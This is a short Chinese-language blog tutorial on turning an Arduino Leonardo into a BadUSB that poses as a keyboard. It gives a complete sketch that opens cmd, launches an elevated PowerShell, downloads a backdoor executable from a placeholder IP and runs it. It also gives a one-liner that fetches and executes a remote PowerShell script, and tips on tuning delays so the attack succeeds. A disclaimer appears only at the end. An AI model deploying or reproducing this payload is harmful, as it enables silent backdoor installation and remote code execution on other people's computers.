BadUSB其實原理就是用開發板模擬鍵盤,然后鍵入各種命令
具體的原理,可以移步騰訊安全應急響應中心 https://security.tencent.com/index.php/blog/msg/74
我手里剛好有一個自帶USB接口的Arduino Leonardo開發板(只要是支持Keyboard的板子應該都可以),所以就拿來試試

我根據上面的原理,通過模擬win+R 啟動CMD
然后在cmd中,以管理員身份啟動PowerShell
使用PowerShell下載后門程序及運行
因為BadUSB利用的是USB端口在設計時就有的缺陷,所以整個感染過程,基本沒有殺毒軟件能夠主動防御
殺毒軟件能攔截的只有后門程序,但是對BadUSB它也是無可奈何的
下面就直接貼代碼了
#include <Keyboard.h> void setup() { // put your setup code here, to run once: Keyboard.begin(); delay(1000); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); delay(500); Keyboard.press(KEY_LEFT_GUI); delay(500); Keyboard.press('r'); delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); delay(500); Keyboard.println("cmd"); delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(500); Keyboard.println("powershell.exe -command start-process powershell -verb runAs && exit"); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(1000); Keyboard.press(KEY_LEFT_ARROW); Keyboard.release(KEY_LEFT_ARROW); delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(5000); Keyboard.println("$P = new-object system.net.webclient"); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(500); Keyboard.println("$P.downloadfile('HTTP://xxx.xxx.xxx.xxx/111.EXE','111.EXE');start-process 111.EXE;exit"); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.end(); } void loop() { // put your main code here, to run repeatedly: }
程序當中的延時是很有必要的,如果是電腦反應慢,還沒打開,BadUSB就進行了輸入,那么CMD肯定無法接收到輸入的命令
尤其是begin時的延遲,建議調大。
當然也可以執行遠程PSL腳本,命令如下
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://url')"
至於更多玩法。。。大家自己腦補吧
本文可能存在攻擊性,請勿用於非法用途。個人興趣研究完全沒問題,一切責任與本人無關,如有不足的地方希望指點,謝謝。
